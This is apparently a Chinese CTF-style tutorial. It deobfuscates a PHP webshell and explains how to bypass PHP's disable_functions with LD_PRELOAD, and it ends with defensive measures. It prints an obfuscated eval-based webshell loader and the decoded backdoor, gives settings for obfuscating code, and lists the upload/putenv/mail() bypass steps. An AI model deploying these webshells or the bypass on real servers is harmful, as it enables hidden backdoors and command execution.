从hello-web入手反混淆和disable_function绕过
字数 1032 2025-08-22 12:23:18
PHP代码混淆与disable_functions绕过技术详解
一、PHP代码混淆技术
1. 代码混淆概述
PHP代码混淆是一种通过非加密方式保护PHP程序不被篡改的技术,主要对PHP代码中的变量、函数和类进行混淆,使得通过人工手段几乎不可能进行修改。
2. 混淆示例分析
原始混淆代码示例
<?php
highlight_file(__FILE__);
$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst = $lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK = $lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC = $OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU = $lapUCm{7}.$lapUCm{13};
$YwzIst .= $lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
反混淆过程
- 首先解码
$lapUCm变量:
$lapUCm = 'n1zb/ma5\vt0i28-pxuqy*6l rkdg9_ehcswo4+f37j';
- 识别关键函数:
$YwzIst = "base64_decode";
$OxirhK = "strtr";
$YpAUWC = "substr";
$rVkKjU = 52;
- 最终得到Webshell:
<?php @eval($_POST['cmd_66.99']); ?>
3. 混淆工具与配置
可以使用enphp项目进行混淆,配置示例:
include './func_v2.php';
$options = array(
'ob_function' => 2, //混淆方法名 1=字母混淆 2=乱码混淆
'ob_function_length' => 3, //混淆函数产生变量最大长度
'ob_call' => 1, //混淆函数调用
'insert_mess' => 0, //随机插入乱码
'encode_call' => 2, //混淆函数调用变量产生模式
'ob_class' => 0, //混淆class
'encode_var' => 2, //混淆变量 方法参数
'encode_var_length' => 5, //混淆变量最大长度
'encode_str' => 2, //混淆字符串常量
'encode_str_length' => 3, //混淆字符串常量变量最大长度
'encode_html' => 2, //混淆html
'encode_number' => 1, //混淆数字
'encode_gz' => 0, //以gzencode形式压缩
'new_line' => 1, //加换行
'remove_comment' => 1, //移除注释
'debug' => 1, //debug
'deep' => 1, //重复加密次数
'php' => 7, //PHP版本
);
4. 混淆效果对比
原始代码
<?php
error_reporting(E_ALL ^ E_NOTICE);
error_reporting(0);
if(isset($_GET['secret'])){
eval($_GET['secret']);
}else{
highlight_file(__FILE__);
}
混淆后代码
<?php
error_reporting(E_ALL ^ E_NOTICE);
define('','');
$_GET[]=explode('|5|8|/','error_reporting|5|8|/secret|5|8|/highlight_file');
$_GET{}[0](E_ALL ^ E_NOTICE);
$_GET{}[0](0);
if(isset($_GET[$_GET{}{0x001}])){
eval($_GET[$_GET{}{0x001}]);
}else{
$_GET{}{0x0002}(__FILE__);
}
二、disable_functions绕过技术
1. LD_PRELOAD劫持技术
基本原理
LD_PRELOAD是Linux下的一个环境变量,用于动态链接库的加载,在动态链接库的过程中它的优先级是最高的。类似于.user.ini中的auto_prepend_file。
利用原理
- 定义在程序运行之前优先加载的动态链接库
- 在自定义的动态链接库中装入恶意函数
- 当程序调用系统函数时,优先调用恶意函数
演示示例
- 编写正常C程序
rand.c:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
srand(time(NULL));
int i=10;
while(i--) printf("%d\n",rand());
return 0;
}
- 编译并运行:
gcc rand.c -o rand
./rand
- 编写恶意so文件
unrand.c:
int rand(){
return 666;
}
- 编译so文件并劫持:
gcc -shared -fPIC unrand.c -o unrand.so
export LD_PRELOAD=$PWD/unrand.so
./rand
2. 实际Web环境利用
在Web环境中,可以通过以下步骤绕过disable_functions:
- 上传恶意.so文件
- 通过PHP的
putenv设置LD_PRELOAD环境变量 - 触发某个系统函数调用(如mail())
- 执行自定义的恶意代码
3. 自动化工具
可以使用蚁剑等工具的插件自动完成LD_PRELOAD绕过:
- 连接Webshell
- 检测disable_functions限制
- 选择合适的插件进行绕过
- 执行系统命令
三、防御措施
1. 针对代码混淆的防御
- 使用代码签名验证
- 部署WAF检测混淆特征
- 定期审计服务器上的可疑文件
- 限制eval等危险函数的使用
2. 针对disable_functions绕过的防御
- 禁用putenv函数
- 限制.so文件的上传和执行
- 使用SELinux等安全模块
- 定期更新PHP版本和安全补丁
- 使用open_basedir限制文件访问范围
四、总结
PHP代码混淆和disable_functions绕过是Web安全中常见的技术手段。混淆技术可以有效隐藏恶意代码的真实意图,而LD_PRELOAD劫持则是绕过函数限制的有效方法。作为防御方,需要采取多层次的安全措施来防范这些攻击技术。